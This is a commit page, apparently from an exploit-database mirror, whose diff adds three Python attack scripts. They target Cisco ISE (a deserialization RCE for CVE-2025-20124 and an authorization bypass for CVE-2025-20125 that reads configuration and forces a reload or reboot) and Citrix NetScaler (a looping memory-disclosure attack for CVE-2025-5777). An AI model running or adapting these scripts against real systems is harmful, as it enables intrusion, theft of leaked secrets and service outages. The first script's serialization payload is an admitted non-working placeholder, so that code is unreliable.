Skip to content

Commit a569677

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents a3a0e97 + 78c8c36 commit a569677

17 files changed

Lines changed: 4252 additions & 0 deletions

File tree

‎exploits/multiple/remote/52396.py‎

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
# Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE)
2+
# Exploit Author: @ibrahimsql ibrahimsql.com
3+
# Exploit Author's github: https://github.com/ibrahmsql
4+
# Description: Cisco ISE API Java Deserialization RCE
5+
# CVE: CVE-2025-20124
6+
# Vendor Homepage: https://www.cisco.com/
7+
# Requirements: requests>=2.25.0, urllib3>=1.26.0
8+
# Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id"
9+
10+
#!/usr/bin/env python3
11+
# -*- coding: utf-8 -*-
12+
13+
import requests
14+
import sys
15+
import argparse
16+
import base64
17+
import urllib3
18+
urllib3.disable_warnings()
19+
20+
def banner():
21+
print(r"""
22+
_________ .__
23+
\_ ___ \|__| ______ ____ ____
24+
/ \ \/| |/ ___// ___\/ _ \
25+
\ \___| |\___ \\ \__( <_> )
26+
\______ /__/____ >\___ >____/
27+
\/ \/ \/
28+
29+
Cisco ISE Java Deserialization RCE
30+
CVE-2025-20124
31+
Author: ibrahmsql | github.com/ibrahmsql
32+
""")
33+
34+
def build_serialize_payload(cmd):
35+
"""
36+
Java deserialization payload builder
37+
"""
38+
java_cmd = cmd.replace('"', '\\"')
39+
# Placeholder serialization - gerçek exploit için gadget chain gerekli
40+
payload = f'\xac\xed\x00\x05sr\x00...ExecGadget...execute("{java_cmd}")'
41+
return base64.b64encode(payload.encode()).decode()
42+
43+
def exploit_deserialization(base_url, session_token, cmd):
44+
"""
45+
CVE-2025-20124: Java Deserialization RCE
46+
"""
47+
endpoint = f"{base_url}/api/v1/admin/deserializer"
48+
headers = {
49+
"Cookie": f"ISESSIONID={session_token}",
50+
"Content-Type": "application/json",
51+
"User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)"
52+
}
53+
54+
payload = build_serialize_payload(cmd)
55+
data = {"object": payload}
56+
57+
print(f"[+] Target: {base_url}")
58+
print(f"[+] Endpoint: {endpoint}")
59+
print(f"[+] Command: {cmd}")
60+
print(f"[+] Sending deserialization payload...")
61+
62+
try:
63+
r = requests.post(endpoint, json=data, headers=headers, verify=False, timeout=10)
64+
65+
if r.status_code == 200:
66+
print("[+] Payload successfully sent!")
67+
print("[+] Command possibly executed!")
68+
if r.text:
69+
print(f"[+] Response: {r.text[:500]}")
70+
elif r.status_code == 401:
71+
print("[-] Authentication failed - invalid session token")
72+
elif r.status_code == 403:
73+
print("[-] Access denied - insufficient privileges")
74+
elif r.status_code == 404:
75+
print("[-] Endpoint not found - target may not be vulnerable")
76+
else:
77+
print(f"[-] Unexpected response: {r.status_code}")
78+
print(f"[-] Response: {r.text[:200]}")
79+
80+
except requests.exceptions.RequestException as e:
81+
print(f"[-] Request failed: {e}")
82+
83+
def main():
84+
parser = argparse.ArgumentParser(
85+
description="CVE-2025-20124 - Cisco ISE Java Deserialization RCE",
86+
formatter_class=argparse.RawDescriptionHelpFormatter,
87+
epilog="""
88+
Examples:
89+
python3 CVE-2025-20124.py --url https://ise.company.com --session ABCD1234 --cmd "id"
90+
python3 CVE-2025-20124.py --url https://10.0.0.1:9060 --session TOKEN123 --cmd "whoami"
91+
"""
92+
)
93+
94+
parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance")
95+
parser.add_argument("--session", required=True, help="Authenticated ISE session token")
96+
parser.add_argument("--cmd", required=True, help="Command to execute via deserialization")
97+
98+
args = parser.parse_args()
99+
100+
banner()
101+
102+
# URL validation
103+
if not args.url.startswith(('http://', 'https://')):
104+
print("[-] URL must start with http:// or https://")
105+
sys.exit(1)
106+
107+
exploit_deserialization(args.url, args.session, args.cmd)
108+
109+
if __name__ == "__main__":
110+
main()

‎exploits/multiple/remote/52397.py‎

Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
# Exploit Title: Cisco ISE 3.0 - Authorization Bypass
2+
# Exploit Author: @ibrahimsql ibrahimsql.com
3+
# Exploit Author's github: https://github.com/ibrahmsql
4+
# Description: Cisco ISE API Authorization Bypass
5+
# CVE: CVE-2025-20125
6+
# Vendor Homepage: https://www.cisco.com/
7+
# Requirements: requests>=2.25.0, urllib3>=1.26.0
8+
# Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read
9+
10+
#!/usr/bin/env python3
11+
# -*- coding: utf-8 -*-
12+
13+
import requests
14+
import sys
15+
import argparse
16+
import urllib3
17+
urllib3.disable_warnings()
18+
19+
def banner():
20+
print(r"""
21+
___ ____ ___ ___ _____ ____ ___ ____
22+
/ __)(_ _)/ __) / __)( _ ) (_ _)/ __)( ___)
23+
( (__ _)(_ \__ \( (__ )(_)( _)(_ \__ \ )__)
24+
\___)(____)(___/ \___)(_____) (____)(___/(____)
25+
Cisco ISE Authorization Bypass
26+
CVE-2025-20125
27+
Author: ibrahmsql | github.com/ibrahmsql
28+
""")
29+
30+
def exploit_config_read(base_url, session_token):
31+
"""
32+
CVE-2025-20125: Read sensitive configuration
33+
"""
34+
endpoint = f"{base_url}/api/v1/admin/config/export"
35+
headers = {
36+
"Cookie": f"ISESSIONID={session_token}",
37+
"User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)"
38+
}
39+
40+
print(f"[+] Attempting to read configuration from: {endpoint}")
41+
42+
try:
43+
r = requests.get(endpoint, headers=headers, verify=False, timeout=10)
44+
45+
if r.status_code == 200:
46+
print("[+] Configuration read successful!")
47+
print(f"[+] Response length: {len(r.text)} bytes")
48+
if r.text:
49+
print(f"[+] Config preview: {r.text[:300]}...")
50+
return True
51+
else:
52+
print(f"[-] Config read failed: {r.status_code}")
53+
return False
54+
55+
except requests.exceptions.RequestException as e:
56+
print(f"[-] Request failed: {e}")
57+
return False
58+
59+
def exploit_config_reload(base_url, session_token):
60+
"""
61+
CVE-2025-20125: Force configuration reload
62+
"""
63+
endpoint = f"{base_url}/api/v1/admin/reload"
64+
headers = {
65+
"Cookie": f"ISESSIONID={session_token}",
66+
"Content-Type": "application/json",
67+
"User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)"
68+
}
69+
70+
print(f"[+] Sending config reload request to: {endpoint}")
71+
72+
try:
73+
r = requests.post(endpoint, headers=headers, verify=False, timeout=10)
74+
75+
if r.status_code in (200, 204):
76+
print("[+] Configuration reload accepted!")
77+
print("[+] System may be restarting services...")
78+
return True
79+
elif r.status_code == 401:
80+
print("[-] Authentication failed - invalid session token")
81+
elif r.status_code == 403:
82+
print("[-] Access denied - insufficient privileges")
83+
else:
84+
print(f"[-] Reload failed: {r.status_code}")
85+
86+
return False
87+
88+
except requests.exceptions.RequestException as e:
89+
print(f"[-] Request failed: {e}")
90+
return False
91+
92+
def exploit_system_reboot(base_url, session_token):
93+
"""
94+
CVE-2025-20125: Force system reboot
95+
"""
96+
endpoint = f"{base_url}/api/v1/admin/reboot"
97+
headers = {
98+
"Cookie": f"ISESSIONID={session_token}",
99+
"Content-Type": "application/json",
100+
"User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)"
101+
}
102+
103+
print(f"[+] Sending system reboot request to: {endpoint}")
104+
print("[!] WARNING: This will reboot the target system!")
105+
106+
try:
107+
r = requests.post(endpoint, headers=headers, verify=False, timeout=10)
108+
109+
if r.status_code in (200, 204):
110+
print("[+] System reboot initiated!")
111+
print("[+] Target system should be rebooting now...")
112+
return True
113+
else:
114+
print(f"[-] Reboot failed: {r.status_code}")
115+
return False
116+
117+
except requests.exceptions.RequestException as e:
118+
print(f"[-] Request failed: {e}")
119+
return False
120+
121+
def main():
122+
parser = argparse.ArgumentParser(
123+
description="CVE-2025-20125 - Cisco ISE Authorization Bypass",
124+
formatter_class=argparse.RawDescriptionHelpFormatter,
125+
epilog="""
126+
Examples:
127+
python3 CVE-2025-20125.py --url https://ise.company.com --session ABCD1234 --read
128+
python3 CVE-2025-20125.py --url https://10.0.0.1:9060 --session TOKEN123 --reload
129+
python3 CVE-2025-20125.py --url https://ise.target.com --session XYZ789 --reboot
130+
"""
131+
)
132+
133+
parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance")
134+
parser.add_argument("--session", required=True, help="Authenticated ISE session token")
135+
parser.add_argument("--read", action="store_true", help="Read sensitive configuration")
136+
parser.add_argument("--reload", action="store_true", help="Force configuration reload")
137+
parser.add_argument("--reboot", action="store_true", help="Force system reboot")
138+
139+
args = parser.parse_args()
140+
141+
banner()
142+
143+
# URL validation
144+
if not args.url.startswith(('http://', 'https://')):
145+
print("[-] URL must start with http:// or https://")
146+
sys.exit(1)
147+
148+
# At least one action must be specified
149+
if not any([args.read, args.reload, args.reboot]):
150+
print("[-] Specify at least one action: --read, --reload, or --reboot")
151+
sys.exit(1)
152+
153+
success = False
154+
155+
if args.read:
156+
success |= exploit_config_read(args.url, args.session)
157+
158+
if args.reload:
159+
success |= exploit_config_reload(args.url, args.session)
160+
161+
if args.reboot:
162+
# Confirm reboot action
163+
confirm = input("[!] Are you sure you want to reboot the target? (y/N): ")
164+
if confirm.lower() in ['y', 'yes']:
165+
success |= exploit_system_reboot(args.url, args.session)
166+
else:
167+
print("[-] Reboot cancelled by user")
168+
169+
if success:
170+
print("\n[+] At least one exploit succeeded!")
171+
else:
172+
print("\n[-] All exploits failed")
173+
sys.exit(1)
174+
175+
if __name__ == "__main__":
176+
main()

‎exploits/multiple/remote/52401.py‎

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
# Exploit Title: Citrix NetScaler ADC/Gateway 14.1 - Memory Disclosure
2+
# Exploit Author: Yesith Alvarez
3+
# Vendor Homepage: hhttps://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
4+
# CVE: CVE-2025-5777
5+
# Link: https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py
6+
7+
import re
8+
import sys
9+
import warnings
10+
import requests
11+
from time import sleep
12+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
13+
14+
15+
def title():
16+
print(r'''
17+
______ _______ ____ ___ ____ ____ ____ _____ _____ _____
18+
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| | ___|___ |___ |___ |
19+
| | \ \ / /| _| _____ __) | | | |__) |___ \ ____|___ \ / / / / / /
20+
| |___ \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) |/ / / / / /
21+
\____| \_/ |_____| |_____|\___/_____|____/ |____//_/ /_/ /_/
22+
23+
[+] CitrixBleed - Memory Disclosure (Out-of-Bounds Read)
24+
[+] Author: Yesith Alvarez
25+
[+] Github: https://github.com/yealvarez
26+
[+] Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
27+
[+] Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py
28+
''')
29+
30+
31+
def print_hex(data: bytes):
32+
for i in range(0, len(data), 16):
33+
chunk = data[i:i+16]
34+
hex_part = " ".join(f"{b:02X}" for b in chunk)
35+
ascii_part = "".join(chr(b) if 32 <= b <= 126 else "." for b in chunk)
36+
print("{:08X}".format(i) + " " + "{:<47}".format(hex_part) + " " + ascii_part)
37+
38+
def extraction(blob: bytes) -> bytes | None:
39+
OpenInitialValue = "<InitialValue>".encode("utf-8")
40+
closenitialValue = "</InitialValue>".encode("utf-8")
41+
matched = "(.*?)".encode("utf-8")
42+
extract = re.compile(re.escape(OpenInitialValue) + matched + re.escape(closenitialValue),flags=re.DOTALL | re.IGNORECASE)
43+
m = extract.search(blob)
44+
return None if m is None else m.group(1)
45+
46+
47+
def exploit(target: str):
48+
url = "https://"+target+"/p/u/doAuthentication.do"
49+
50+
headers = {
51+
"Content-Type": "application/x-www-form-urlencoded",
52+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
53+
}
54+
55+
try:
56+
resp = requests.post(
57+
url,
58+
data="login".encode("utf-8"),
59+
headers=headers,
60+
timeout=15,
61+
verify=False,
62+
)
63+
resp.raise_for_status()
64+
except Exception as e:
65+
print("["+target+"] Error No Vulnerable: " + str(e))
66+
return
67+
68+
binary = extraction(resp.content)
69+
if binary is None:
70+
print("["+target+"] Connection Error ")
71+
return
72+
print("\n[+] Captured "+str(len(binary))+" bytes from the Target ["+target+"]:\n")
73+
print_hex(binary)
74+
75+
if __name__ == '__main__':
76+
warnings.simplefilter("ignore", InsecureRequestWarning)
77+
title()
78+
if len(sys.argv) < 2:
79+
print('[+] USAGE: python3'+sys.argv[0]+' <target.host>\n')
80+
print('[+] Example: python3'+sys.argv[0]+' 10.10.10.10\n')
81+
sys.exit(0)
82+
else:
83+
target = sys.argv[1]
84+
try:
85+
while True:
86+
exploit(target)
87+
88+
except KeyboardInterrupt:
89+
print("\n[+] Stopped by user.")

0 commit comments

Comments
 (0)